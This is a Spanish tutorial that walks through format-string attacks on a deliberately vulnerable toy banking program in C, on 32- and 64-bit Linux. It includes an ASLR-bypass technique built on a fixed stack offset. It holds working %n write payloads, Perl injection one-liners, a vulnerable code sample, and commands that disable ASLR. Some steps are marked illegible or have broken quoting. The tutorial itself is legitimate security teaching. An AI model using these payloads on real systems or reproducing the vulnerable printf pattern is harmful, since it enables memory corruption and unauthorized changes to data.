

Ataques con cadenas de formato (x86/x86_64)

Evadiendo ASLR

Autor : Xavier Jiménez <xjimenez@capatres.com>

Licencia : 
<http://es.creativecommons.org/licencia/>

Versión : 1.0

Índice de contenido

Introducción a los ataques por cadena de formato.....	2
Ataques por cadena de formato en arquitecturas de 32 bits.....	3
Ataques por cadena de formato en arquitecturas de 64 bits.....	8
ASLR y sus curiosidades.....	9

Introducción a los ataques por cadena de formato

Los ataques con cadenas de formato se basan en inyectar en las funciones printf y sus derivadas caracteres especiales que esas funciones interpretan. A continuación listamos algunas de ellas.

```
%s : Traduce el argumento en una cadenas de caracteres
%x : Traduce el argumento en hexadecimal sin signo
%p : Traduce el argumento en hexadecimal
%d : Traduce el argumento en decimal con signo
%n : Sube el argumento a la pila (woow! xD)
```

Un ejemplo del uso normal de printf usando cadenas de formato sería el siguiente

```
buff[] = "Hello world";
printf("La variable buff contiene %s\n",buff);
```

Estas cadenas de formato soportan multitud de modificadores.

```
%.100d : el valor decimal tiene una profundidad mínima de 100 caracteres
```

Para ilustrar el modificador anterior veamos el resultado de la ejecución del siguiente código.

```
#include <stdio.h>

int main(void){
int num=666;
printf("Num es %d\n", num);
return 0;
}
```

El resultado es

```
Num es 666
```

Pero si modificamos la linea que contiene el printf de esta forma

```
printf("Num es %d\n", num);
```

por

```
printf("Num es %.10d\n", num);
```

el resultado pasa a ser

```
Num es 0000000666
```

Vamos a pasar a la práctica. De momento compilaremos los ejemplos con el modificador -m32 (arquitectura de 32 bits) y -ggdb (símbolos de depuración).

```
$gcc -ggdb -m32 -o strings strings.c
```

Mas adelante intentaremos evitar el ASLR, pero por el momento lo desactivamos. Para hacerlo, como usuario root, ejecutaremos lo siguiente

```
#echo '0' > /proc/sys/kernel/randomize_va_space
```

Ataques por cadena de formato en arquitecturas de 32 bits

Tomaremos el siguiente código como ejemplo para ilustrar la forma de sacar información de las aplicaciones mediante el uso de los caracteres de formato,

```
include <stdio.h>
int main(int argc, char *argv[])
{

    int a = 0xdeadbeef;
    int b = 0xabcdabcd;
    int c = 0x12345678;

    if (argc > 1)
        printf(argv[1]);
    printf("\n");
    return 0;
}
```

El programa recoge el parámetro introducido como argumento y lo muestra por pantalla. Veamos un ejemplo de ejecución del programa.

```
./strings AAAA
AAAA
```

Anteriormente habíamos presentado el modificador %x. Veamos que pasa si lo añadimos como argumento al final

```
./strings "AAAA %x"
AAAA f7e28bb6
```

Lo que ha sucedido es que nos ha mostrado una notación hexadecimal. Vamos a comprobar la utilidad del modificador repitiéndolo varias veces de forma consecutiva.

```
./strings "AAAA %x %x %x %x %x %x %x"
AAAA f7575bb6 f76e2ff4 f7575c45 f7738470 12345678 abcdabcd deadbeef
```

Si nos fijamos en el código fuente del programa, nos daremos cuenta que los tres últimos valores que se han mostrado por pantalla son los valores que corresponden a las variables c,b y a respectivamente.

Veamos ahora otro de los modificadores que permiten las cadenas de formato. El modificador \$ nos permite hacer referencia como en un índice, a que argumento nos referimos.

Imaginemos la llamada a la función printf con múltiples variables

```
a=1
b=2
c=3
d=4
printf("Uno : %d, Dos : %d, Tres : %d, Cuatro: %d, y repetimos el Tres: %3$d \n",a,b,c,d);
```

Esta funcionalidad nos permite reutilizar una variable que ya hemos pasado como argumento y nos evita tener que volver a introducirla.

Para ilustrar la utilidad de esto nos valdremos del ejemplo anterior. Como veremos, para que funcione correctamente tenemos que escapar \$ con \ para que el interprete de comandos no lo interprete como una variable de entorno.

```
$/strings "%7\$x"  
deadbeef
```

Esta vez solo hemos mostrado el séptimo valor, que en nuestro caso corresponde a la variable a.

Con este programa no podemos hacer cosas muy espectaculares: El problema que hay es que el argumento que le pasamos, donde debería ir la dirección de memoria que queremos alterar, no es tratado en ningún punto del cuerpo del programa. Esto hace que no encontremos el argumento en un índice lo suficientemente bajo que permita apilar direcciones de memoria útiles para nuestros fines.

En los siguientes ejemplos nos aprovecharemos de una estructura como la siguiente

```
Dirección de memoria que queremos alterar  
%  
Índice del valor que hace referencia a la dirección donde está el argumento  
$n
```

En este caso, lo que si podemos provocar es un DoS generando un error de segmentación. Por ejemplo, forzando el flujo del programa a saltar a un valor que contenga alguna de las variables. En este caso, podemos forzar un error de segmentación al intentar acceder a la dirección 0xdeadbeef que es el valor que contiene la variable a y ya sabemos que la encontramos en el índice 7

```
$/strings "%7\$n"  
Segmentation fault
```

Vamos a probar ahora con otro programa que nos de algo mas de juego

```

/* bancomalo.c
*
* Copyright (C) 2013 Xavier Jiménez (xjimenez@capatres.com)

* Programa de ejemplo para ilustrar los ataques por cadena de formato

* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; version 2
* of the License.
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int credenciales(char *argv, int cash){

    char pass[100];
    strcpy(pass, "1234");

    if(strcmp(pass,argv)==0) {
        printf("Tu saldo es de %d euros\n",cash);
        return 0;
    }
    else{
        printf("Contraseña incorrecta!\n");
        printf("La contraseña es : %s\n",pass);
        return 1;
    }
}

void debug(char *temp2, int *cash) {
    printf("=====\n");
    printf("Buff : (%d), val : %s\n",strlen(temp2),temp2);
    printf("cash : (%d), @ %p\n",*cash,cash);
    printf("=====\n");
}

int main(void){

    char temp1[100];
    char temp2[100];
    int res = -1;
    int cash = 20;

    printf("Introduce la contraseña\n");
    gets(temp1);
    snprintf(temp2, sizeof(temp1), temp1);
    temp2[sizeof(temp2) - 1] = 0;
    temp1[0]='\0';
    debug(temp2, &cash);
    res = credenciales(temp2, cash);

    while(res!=0 && strcmp(temp2,"Q\0")!=0){
        temp2[0]='\0';
        printf("Introduce la contraseña o Q para terminar\n");
        gets(temp1);
        if(strcmp(temp1,"Q\0")==0) break;
        snprintf(temp2, sizeof(temp1), temp1);
        temp2[sizeof(temp2) - 1] = 0;
        temp1[0]='\0';
        debug(temp2, &cash);
        res = credenciales(temp2, cash);
    }
    printf("Fin de la consulta bancaria\n");
}

```

Lo primero que vamos a hacer es ejecutar el programa e interactuar con él. El objetivo es ver cuanta información podemos recoger desde el teclado.

```
$/banco
Introduce la contraseña
AAAA %x %x %x %x
=====
Buff : (34), val : AAAA ffffcb4 14 41414141 66666620
cash : (20), @ 0xffffcad0
=====
Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Intro para terminar

Fin de la consulta bancaria
```

Al introducir la cadena de formato %x de forma repetida, observamos que los caracteres A (41 en hexadecimal) que hemos introducido están disponibles: tercera posición o índice (las AAAA no cuentan), es decir, podemos hacer referencia a lo que entremos con la cadena de formato %3\$.

```
Introduce la contraseña
AAAA %3$x
=====
Buff : (13), val : AAAA 41414141
cash : (20), @ 0xffffcad0
=====
Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Q para terminar
```

Ya sabemos el índice de %x y, por lo tanto, donde debemos apuntar para hacer referencia al argumento. Ahora el objetivo será aumentar nuestro "cash".

Como el programa es muy bueno con nosotros, nos dice la dirección de memoria en que se encuentra la variable. Con estos dos datos (índice al argumento y dirección de memoria que queremos alterar) ya deberíamos ser capaces de cumplir con nuestro objetivo.

Para ello, pasaremos al programa, como argumento, una trama compuesta de la siguiente forma:


```
dirección de memoria
%n
```

El %n nos servirá como valor de control para apilar el valor que le hemos pasado previamente hacia la pila. Este parámetro sera la dirección en que se encuentra la variable cash que, tal y como nos dice el programa es: 0xffffcad0

Como no podemos escribir la representación de los valores hexadecimales directamente por el teclado, nos valdremos de un fichero auxiliar y de perl para poder inyectarlo.

```
perl -e 'print "\xd0\xca\xff\xff%3$n"' > inyeccion
```

Realizamos el ataque!

```
./banco < inyeccion
Introduce la contraseña
=====
Buff : (4), val : 
cash : (4), @ 0xffffcad0
=====
Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Intro para terminar
Fin de la consulta bancaria
```

WTF!!! HEMOS PERDIDO PARTE DE NUESTRO DINERO !!!!

Bueno, mantengamos la calma y veamos como lo podríamos recuperar ;)

Vamos a preparar otra inyección, esta vez vamos a apilar bytes de relleno, cada uno de ellos se transformará en dinero.

[illegible]

Bien, hemos recuperado el dinero y ganado 5 euros, pero ¿por que?

Si nos fijamos vemos que hemos añadido otro modificador a la inyección, se trata de %20d que como hemos explicado anteriormente añade un entero con una profundidad de 20 bytes. Este modificador podríamos hacerlo crecer tanto como quisiéramos. Estos 20 dígitos, más los 4 que ocupa la dirección de memoria, más el carácter de la cadena de formato suman los 25 que han terminado resultando.

Al margen de la trivialidad de este caso, controlar una dirección de memoria y su valor exacto puede ser la palanca perfecta para otros propósitos más avanzados.

Ataques por cadena de formato en arquitecturas de 64 bits


Vamos a ver que sucede si compilamos la aplicación bancomalo.c sin el modificador -m32

```
$/banco
Introduce la contraseña
AAAAAAAA %p %p %p %p %p %p %p %p
=====
Buff : (99), val : AAAAAAAAA 0x7ffff7dd77f0 0x7025207025207025 (nil) 0x1 0x14f7ffe170 0x4141414141414141
0x6666666663778
cash : (20), @ 0x7fffffd8dc
=====
Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Intro para terminar
%6$p
=====
Buff : (18), val : 0x4141414141414100
cash : (20), @ 0x7fffffd8dc
=====
Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Intro para terminar

Fin de la consulta bancaria
```

Esta vez vemos que el argumento está en el índice o posición sexta, y según nos confirma el programa, cash está en 0x7fffffd8dc. Veamos si podemos armar un ataque como el anterior.

```
$perl -e 'print "\xdc\xd8\xff\xff\xff\x7f%6$\n" > probes
```

```
$/banco
Introduce la contraseña
=====
Buff : (6), val :  
cash : (6), @ 0x7fffffd8dc
=====
Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Intro para terminar
Fin de la consulta bancaria
```

Hemos logrado modificar el valor de cash, veamos si podemos aumentar nuestro capital.


```
$perl -e 'print "\xdc\xd8\xff\xff\xff\x7f%.20d%6$\n" > probes
```

```
$/banco < probes
Introduce la contraseña
Segmentation fault
```

Parece que no funciona.

Tras mucho debugging y probar lo que se me fue ocurriendo llegué a la siguiente prueba:

```
$perl -e 'print "\xdc\xd8\xff\xff\xff\x7f%6$\n\xdc\xd8\xff\xff\xff\x7f%6$\n" > probes
```

```
$/banco < probes
Introduce la contraseña
=====
Buff : (12), val :  
cash : (12), @ 0x7fffffd8dc
=====
```


Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Intro para terminar
Fin de la consulta bancaria

Al concatenar dos veces la dirección de memoria y el índice donde encontramos el argumento de entrada desaparece el error de segmentación y el valor de cash pasa a ser 12. Esto no sería muy versátil si nos obliga a trabajar con mltiples de 6.

Siguiendo la misma idea me pareció lógico probar con la siguiente estructura:

Dirección de memoria que queremos alterar	%
Índice donde se encuentra el argumento de entrada	\$n
	%
Decimal de profundidad variable	
Índice donde se encuentra el argumento de entrada	\$n

Vamos a escribirlo a un fichero para comprobar si funciona

```
$perl -e 'print "\xdc\xd8\xff\xff\xff\x7f%6\$n%.20d%6\$n"' > probes
```

\$. / banco < probes

Introduce la contraseña

Buff: (28), val:  -0000000000000136480784

cash : (28), @ 0x7fffffff8dc

Contraseña incorrecta!

La contraseña es : 1234

Introduce la contraseña o Intro para terminar

Fin de la consulta bancaria

Logrado! Hemos conseguido atacar la aplicación de 64 bits mediante las cadenas de formato. Con esto hemos pasado a controlar una dirección de memoria conocida y somos capaces de asignarle el valor que nos interese.

ASLR y sus curiosidades

Vamos a activar de nuevo ASLR. Como root ejecutaremos lo siguiente:

```
#echo '1' > /proc/sys/kernel/randomize va space
```

Vamos a ver que conjeturas podemos sacar de las ejecuciones del programa vulnerable,

```

$./banco
=====
Buff : (3), val : 123
cash : (20), @ 0xffaea3c0
=====
$./banco
=====
Buff : (3), val : 123
cash : (20), @ 0xffff134e0
=====
$./banco
=====
Buff : (3), val : 123
cash : (20), @ 0xffa674f0
=====

```

Lo primero que salta a la vista es la diferencia de localización de la variable cash en cada ejecución. Vamos a investigar con un poco más de profundidad.

```
for i in {1..100}; do echo "%p = $i"; echo "%$i$P" > probes; ./banco < probes |grep "0x"; read g; done;
```

La idea de esta línea de comando es realizar 100 iteraciones incrementando el valor del índice que le estamos pasando para ver el contenido y analizar su salida posteriormente.

Después de ejecutar el automatismo unas cuantas veces nos fijamos en algo interesante, en las siguientes iteraciones, el valor del índice y la posición de la variable cash están bastante cerca.

```

%p = 22
Buff : (14), val : 0x7fff80a44e0
cash : (20), @ 0x7fff80a43cc

%p = 37
Buff : (14), val : 0x7fff0cfd4188
cash : (20), @ 0x7fff0cfd3fbc

```

Repetimos la operación del bucle para ver si nos arroja algo de luz

```

%p = 22
Buff : (14), val : 0x7fff78e85c30
cash : (20), @ 0x7fff78e85b1c

%p = 37
Buff : (14), val : 0x7fff265d12c8
cash : (20), @ 0x7fff265d10fc

```

Sospechosamente todos los valores vuelven a estar muy cerca. Vamos a hacer una elucubración, ¿ y si la distancia entre ellas es siempre la misma ? Vamos a comprobarlo para las dos ejecuciones

```

%p = 22
ej1 - 7fff80a44e0 - 7fff80a43cc = 114
ej2 - 7fff78e85c30 - 7fff78e85b1c = 114

%p = 37
ej1 - 7fff0cfd4188 - 7fff0cfd3fbc = 1CC
ej2 - 7fff265d12c8 - 7fff265d10fc = 1CC

```

Parece que se cumple la conjetura para estas iteraciones. Vamos a asegurarnos preparamos el archivo de pruebas para que siempre lance con el índice 22

```
$cat probes  
%22$p
```

```
./banco < probes  
Buff : (14), val : 0x7ffbed758e0  
cash : (20), @ 0x7ffbed757cc
```

Comprobamos : 7ffbed758e0 - 7ffbed757cc = 114

```
./banco < probes  
Buff : (14), val : 0x7fffd5860620  
cash : (20), @ 0x7fffd586050c
```

Comprobamos : 7fffd5860620 - 7fffd586050c = 114

```
./banco < probes  
Buff : (14), val : 0x7fff46745eb0  
cash : (20), @ 0x7fff46745d9c
```

Comprobamos : 7fff46745eb0 - 7fff46745d9c = 114

```
./banco < probes  
Buff : (14), val : 0x7fff58a6e230  
cash : (20), @ 0x7fff58a6e11c
```

Comprobamos : 7fff58a6e230 - 7fff58a6e11c = 114

```
./banco < probes  
Buff : (14), val : 0x7fff82d5e940  
cash : (20), @ 0x7fff82d5e82c
```

Comprobamos : 7fff82d5e940 - 7fff82d5e82c = 114

En todas la ejecuciones la distancia entre la dirección en memoria de cash y el índice que le estamos enviando a través de %22\$p se mantienen, podemos decir ¡bingo!

Podemos saber el valor de %22\$p para la ejecución en la que nos encontramos, y siempre estará ubicada a la misma distancia respecto a la dirección de la memoria donde tendremos cash. Así podemos realizar un ataque en dos fases y añadir algunos euros a nuestra cuenta :)

Para poder probar la teoría tenemos que hacer uso de una FIFO auxiliar y redirigir la entrada de teclado para poder mandar la cadena. Lo podemos hacer del siguiente modo: primero arrancamos el servidor redirigiendo su entrada al fichero /tmp/srv-input

```
$mkfifo /tmp/srv-input  
$cat > /tmp/srv-input &  
$echo $! > /tmp/srv-input-cat-pid  
$cat /tmp/srv-input | ./banco &> /tmp/srv-output
```

Ya podemos interaccionar con la aplicación, provocando que nos revele la dirección desde la que calcular el siguiente paso

```
$echo "%22$p" > /tmp/srv-input
```

En la pantalla donde tenemos arrancado el servidor veremos su salida

```
=====
```

```
Buff : (14), val : 0x7fff86face7e  
cash : (20), @ 0x7fff86facd8c
```

```
=====
```

```
Contraseña incorrecta!  
La contraseña es : 1234  
Introduce la contraseña o Q para terminar
```

Perfecto, en buff vemos el valor de %22\$P 0x7FFF86fACE7E, a este valor le restamos el offset F2 que habíamos calculado y tenemos como resultado 7FFF86FACD8C que es precisamente el valor que nos está confirmando el debug. Con esto ya podemos completar el ataque.

Primero mandamos la secuencia que explota la cadena de formato, luego mandamos una segunda trama para que tenga efecto el cambio anterior, y finalmente comprobamos el saldo y cerramos la sesión usando la contraseña correcta.

```
$perl -e 'print "\x8c\xcd\xfa\x86\xff\x7f%6$\n". "A" x 1000 . "%6$\n" > /tmp/srv-input'
$echo "123" > /tmp/srv-input
$echo "1234" > /tmp/srv-input
```

La salida del servicio queda :

```
=====
Buff : (99), val :
u  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
cash : (1006), @ 0x7ff86facd8c
=====
Contraseña incorrecta!
La contraseña es : 1234
Introduce la contraseña o Q para terminar
=====
Buff : (4), val : 1234
cash : (1006), @ 0x7ff86facd8c
=====
Tu saldo es de 1006 euros
Fin de la consulta bancaria
```

La conclusión es que ASLR tiene ciertos elementos en su implementación que lo convierten en predecible, y aunque siempre puede venir bien para protegernos en ciertos momentos no podemos contar con el como una cortapisa definitiva, al menos en el estado en el que se encuentra en este momento.

La única forma que las aplicaciones sean seguras es que estén bien programadas. Las buenas practicas de programación, y sobretodo el chequeo de las entradas hacia las aplicaciones, son el único método recomendable para mitigar este tipo de ataques.

En mi humilde opinión la mejora del código con el que trabajamos y nuestra seguridad, debe pasar por que el código éste sea abierto. Esto permite que todos los desarrolladores con ánimo y tiempo que hay en el mundo puedan compartir y mejorando cada programa que nos acompaña día a día, ya sea en sucursales bancarias o en nuestros teléfonos móviles. El conocimiento debería ser libre, ya que dinero no puede comprar todo el talento que hay en el mundo, y mucho menos el de aquellos que no se dedican profesionalmente a desarrollar aplicaciones.